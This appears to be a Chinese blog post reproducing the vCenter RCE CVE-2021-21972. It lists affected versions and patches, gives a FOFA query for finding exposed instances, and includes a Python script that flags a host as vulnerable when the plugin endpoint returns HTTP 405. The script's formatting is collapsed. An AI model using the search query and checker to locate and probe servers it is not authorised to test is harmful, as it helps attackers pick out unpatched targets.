vCenter 6.5-7.0 RCE 漏洞复现(CVE-2021-21972)附POC
目录
一. 漏洞介绍
二. 影响范围
三. 漏洞复现
四. 漏洞修复
五. 漏洞POC
一. 漏洞介绍
vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。
2021年02月24日,某些平台监测到 Vmware官方发布了vCenter Server安全更新,修复了vSphereClient (HTML5)在vCenter Server插件vRealizeOperations(vROps)中的一个远程代码执行漏洞(CVE-2021-21972)。vSphere Client(HTML5) 在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求,写入webshell,控制服务器。
二. 影响范围
- vmware:vcenter_server 7.0 U1c 之前的 7.0 版本
- vmware:vcenter_server 6.7 U3l 之前的 6.7 版本
- vmware:vcenter_server 6.5 U3n 之前的 6.5 版本
三. 漏洞复现
1. 漏洞环境搭建
由于环境搭建挺复杂,这里没有搭建,可以参考:https://www.o2oxy.cn/3127.html (虽然写的挺详细但是安装的时候还是会出现很多问题)
启动后环境类似如下

FOFA搜索语法: title="+ ID_VC_Welcome +"
2. 漏洞利用
漏洞所在地址为:
https://ip/ui/vropspluginui/rest/services/updateova
访问,如果返回405,则代表存在漏洞

fofa:title="+ ID_VC_Welcome +"
四. 漏洞修复
升级到安全版本
- vCenter Server 7.0 版本升级到 7.0.U1c
- vCenter Server 6.7版本升级到 6.7.U3l
- vCenter Server 6.5版本升级到 6.5 U3n
五. 漏洞POC
import requests
from requests.packages import urllib3
urllib3.disable_warnings()
import argparse
import os
def url():parser = argparse.ArgumentParser(description='vCenter 6.5-7.0 RCE 漏洞复现(CVE-2021-21972)POC')parser.add_argument('target_url',type=str,help='The target address,example: https://192.168.140.153:4445')args = parser.parse_args() global urlurl = args.target_urlif url.startswith('http://') or url.startswith('https://'):passelse:print('[-]Please include http:// or https:// in the URL!!')os._exit(0)if url.endswith('/'):url = url[:-1]print('[+]author:chenchen')print("[-]目标地址:",url)print("[-]正在执行漏洞检测...")return url
def poc():headers={'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36',"Content-Type":"application/x-www-form-urlencoded"}url_v = url + '/ui/vropspluginui/rest/services/updateova'try:code = requests.get(url=url_v,headers=headers,timeout=4,verify=False).status_codeprint('status_code:',code)if code == 405:print('[+]漏洞存在')else:print('[-]漏洞不存在')except:print('[-]发生错误')
if __name__ == '__main__':url()poc()

——心,若没有栖息的地方,到哪都是流浪
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
